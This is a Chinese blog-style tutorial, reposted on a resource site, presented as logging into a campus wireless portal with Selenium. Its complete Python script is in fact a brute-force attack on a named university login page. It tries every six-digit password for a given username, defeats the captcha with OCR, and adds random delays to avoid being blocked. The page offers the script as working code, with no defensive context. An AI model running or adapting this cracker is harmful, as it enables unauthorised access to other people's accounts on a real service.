神剑山庄资源网 Design By www.hcban.com
selenium 登陆网站
记录一次登陆无线网的过程
1.首先看一下要登陆的界面
按一下F12看一下网页的源代码
想要登陆的话,这里需要识别验证码…有点麻烦
我们看看向网站post的信息
可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码
csrf 验证码藏在了源码里面
只需要向服务器post就行了
。。。
2.看一下selenium登陆呢?
self.browser.find_element_by_id("loginform-username").clear() self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名 self.browser.find_element_by_id("loginform-password").clear() self.browser.find_element_by_id("loginform-password").send_keys(password) #密码 self.browser.find_element_by_id("loginform-verifycode").clear() self.browser.find_element_by_id("loginform-verifycode").send_keys(code) self.browser.find_element_by_name("login-button").click() time.sleep(0.5)
识别验证码
code='1' while len(code)!=4 or code.isalpha() !=True: self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码 self.browser.save_screenshot('img.png') #对页面进行截图 im = Image.open('img.png') img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动 img = ImageEnhance.Contrast(img) #加强比对 img = img.enhance(2.0) img.save('picture2.png') code = pytesseract.image_to_string(img) #识别 return code
最后看一下总的代码
import time import random import re from selenium import webdriver from PIL import Image,ImageEnhance import pytesseract class HZAU_net(): def __init__(self,username): self.username=username self.url='http://zizhu.hzau.edu.cn' def run(self): #密码循环 self.browser = webdriver.Firefox() #打开浏览器 self.browser.maximize_window() #窗口最大化 self.browser.get(self.url) #访问网站 sleep_time_list=[1,2,3,4] out=open('HZAU_net.txt','a+') for x in range(999999): password="%06d"%(x) #生成密码 flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1 time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快 if flag=='1': #密码正确跳出循环 out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password)) out.write('\n-------------------------分割线-------------------------\n') break else: out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password)) out.close() def test_password(self,password):#检验密码正确性 code=self.get_code() self.login(password,code) login_flag=self.browser.title if login_flag=='首页': return 1 else: flag=self.judge_error(password) return flag self.browser.quit() def login(self,password,code):#登陆 self.browser.find_element_by_id("loginform-username").clear() self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名 self.browser.find_element_by_id("loginform-password").clear() self.browser.find_element_by_id("loginform-password").send_keys(password) #密码 self.browser.find_element_by_id("loginform-verifycode").clear() self.browser.find_element_by_id("loginform-verifycode").send_keys(code) self.browser.find_element_by_name("login-button").click() time.sleep(0.5) def judge_error(self,password): #判断错误类型 flag='' while flag !=None: code=self.get_code() self.login(password,code) judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息 flag=re.search('验证码',judge_flag) return 0 def get_code(self): #识别验证码 code='1' while len(code)!=4 or code.isalpha() !=True: self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码 self.browser.save_screenshot('img.png') #对页面进行截图 im = Image.open('img.png') img = im.crop((1200,400,1350, 520)) #截取验证码 img = ImageEnhance.Contrast(img) #加强比对 img = img.enhance(2.0) img.save('picture2.png') code = pytesseract.image_to_string(img) #识别 return code if __name__ == '__main__': HZAU_net('123456').run()
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持。
神剑山庄资源网 Design By www.hcban.com
神剑山庄资源网
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件!
如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
神剑山庄资源网 Design By www.hcban.com
暂无python selenium循环登陆网站的实现的评论...
更新日志
2024年09月30日
2024年09月30日
- 孙悦.1996-伙伴【正大国际】【WAV+CUE】
- 纪钧瀚《钢琴阅读时光 雨中书店聆听轻音乐》[FLAC/分轨][399.62MB]
- 证声音乐图书馆《走向自然 疗心爵士乐》[320K/MP3][87.4MB]
- 证声音乐图书馆《走向自然 疗心爵士乐》[FLAC/分轨][184.94MB]
- 陈慧娴.2018-Priscilla-Ism演唱会3CD(2024环球红馆40复刻系列)【环球】【WAV+CUE】
- 郑秀文.1999-我应该得到(国)【华纳】【WAV+CUE】
- 陈家慧.2011-钢琴酒吧2CD【龙吟唱片】【WAV+CUE】
- 证声音乐图书馆《雨季 蓝调吉他 Rainy Blues》[320K/MP3][45.01MB]
- 证声音乐图书馆《雨季 蓝调吉他 Rainy Blues》[FLAC/分轨][109.13MB]
- 赞多《序章》[320K/MP3][45.54MB]
- 许巍.2004-每一刻都是崭新的【步升大风】【WAV+CUE】
- 群星.2024-四方馆影视原声带【韶愔音乐】【FLAC分轨】
- 陈雷.1997-安锁咧【金圆唱片】【WAV+CUE】
- 关淑怡.2013-MY.FAVORITE.SK.3CD【环球】【WAV+CUE】
- Sweety.2006-花言乔语【丰华】【WAV+CUE】